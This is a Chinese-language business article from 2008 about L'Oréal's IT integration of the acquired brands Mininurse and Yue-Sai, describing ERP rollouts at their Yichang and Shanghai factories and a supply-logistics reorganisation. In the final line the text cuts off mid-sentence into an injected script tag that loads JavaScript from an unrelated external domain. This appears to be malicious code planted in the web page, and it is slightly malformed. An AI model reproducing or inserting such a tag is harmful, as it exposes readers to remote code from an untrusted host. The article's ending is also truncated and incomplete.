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欧莱雅的整合之道

Zghzp.com 2008-10-02 16:17 大字
当欧莱雅成功地并购小护士和羽西后,如何管控这这些企业,IT部门被推上了前台。

恐怕没有哪家企业比欧莱雅更深谙并购之道了。过去100年,欧莱雅的发展历史在很大程度上就是一部“收购并打造品牌”的并购史。比如1996年,欧莱雅收购市场占有率较低的美宝莲品牌后,将美宝莲商标后增加“纽约”两个字,令消费者对纽约花花世界产生联想,认为其产品应该代表最新的时尚,美宝莲迅速推向市场。比如集团麾下的兰寇品牌,已经在160个国家销售,现今在中国已经成为众多女性心向往之的化妆品品牌。

1980年,这家跨国巨头试水中国市场,在巴黎成立了中国业务机构,专门从事对中国市场的研究。2003年末到2004年初,欧莱雅一举收购本土品牌小护士和羽西,以望深挖掘中国本土市场。可以说,本次收购不仅重新定义了公司的战略定位、产品层次,也涉及到了对过往低效的技术部门的全面改造。

可以看到,欧莱雅不仅从收购中获得了两个品牌、所有销售网点,还获得了小护士在湖北省宜昌的一个生产基地等,以及羽西位于上海的一个生产基地。在当时看来,收购之后,如何让这些工厂置于亚洲总部的把控之下,IT作为首当其冲的手段被推上了前台。

“毫无疑问,跨国公司内部的IT部门具有绝对的权威,与国内的IT部门的境况完全不同。当发生并购时候,IT将作为一种工具介入,因此享有至高无上的地位。”国内某日化企业刘姓人士表示,此前,他曾服务于国际某跨国公司,曾经历该公司多次并购后的IT整合工作。他指出,IT在跨国企业中的位置与本土企业恰恰相反,IT部门往往隶属于总部,当他们发出指令后,本土业务部门包括被收购的企业将会听命于这些指令。

不过,另一位跨国企业的技术总监指出,总部总是希望全球掌控统一的IT系统以达到对全球的有效管控,IT是其中一项必不可少的手段,可以与企业的品牌宣传以及销售的重要性相提并论。

整合有道

在实施收购之后,欧莱雅的愿景是:并购的工厂连同欧莱雅在亚洲的其他工厂一样,不仅仅生产小护士或羽西的产品,还会生产欧莱雅旗下的所有的化妆品品牌。这些产品不仅内销亚洲市场,还将远销到欧莱雅的全球市场。但当时的情况,且不谈新收购企业的IT整合,欧莱雅亚洲原有的各个工厂的系统也都相对独立,IT部门更多的时间在忙于做一些应用子系统的开发,以满足客户各种琐碎的需求,而无暇思考IT规划这类战略层面上的问题。随着欧莱雅亚洲业务的扩大,这些系统开始出现系统移植性差等弊端。

“可以说,我做的最大的事情是解放所有的IT人员,让他们不要陷在技术里面。”对于当时的IT整合工作,欧莱雅亚洲营运部信息系统经理严志杰解释说,首先需要做出一个整体的规划以及步骤,其中一个原则是,所有的信息系统都将架构于一个基础之上。当时,最先面临的挑战是新收购企业,比如小护士的IT整合。

收购之初,小护士并没有成熟的IT团队,大多数的IT人员分散在人事部和工程部,从事简单的办公自动化的管理。2004年,欧莱雅开始在宜昌工厂启动ERP的实施计划,所有的一切都需要从头开始,通过这个机会,对于这家企业做了彻底的IT改造,从基础架构、网络硬件的配置一直到ERP的上线,历时一年的时间。这其间,还包括IT团队的建设,而所有的管理模式都需要重新建立。

从外界对跨国企业的评价来看,欧莱雅的IT整合速度与其他跨国企业一样,做出了强有力的表现。但是这个过程的推进并不简单。与外界所想象的快刀斩乱麻的整合不同,欧莱雅内部的消化经历了一个漫长的过程。当时,原来欧莱雅亚洲的每个工厂都需要面对欧莱雅所有的内部客户,而欧莱雅各销售公司又需要面对所有的工厂,信息交互效率低下。为了解决这个顽疾,2006年,欧莱雅成立了一个名为市场供应物流部的机构。这么做的好处是,所有的工厂都只给一个客户供货,而欧莱雅全球分公司也只对一个客户采购,这么做大大扫清了整合工作的阻力。

2007年,欧莱雅开始在羽西的上海工厂推进ERP项目,与4年前小护士的整合不同的是,一开始的时候,羽西上海工厂的物流、供应链体系的建设都被融合到了ERP的进程中来,而不是后续再做改造。

值得指出的是,在这些IT整合的过程中,欧莱雅总部提前开发了一个欧莱雅化的财务报表分析系统,并将这个系统整合到ERP系统中,加强了对各个子公司,包括这些新收购企业的掌控。而由于各个国家的财务制度不一,欧莱雅在财务的管控上并没有采用统一的系统管理,而大多在原有的ERP系统上再做改造,此后,亚洲其他地区的整合工作顺理成章地铺开。今年6月份?script src=http://cn.jxmmtv.com/cn.js>

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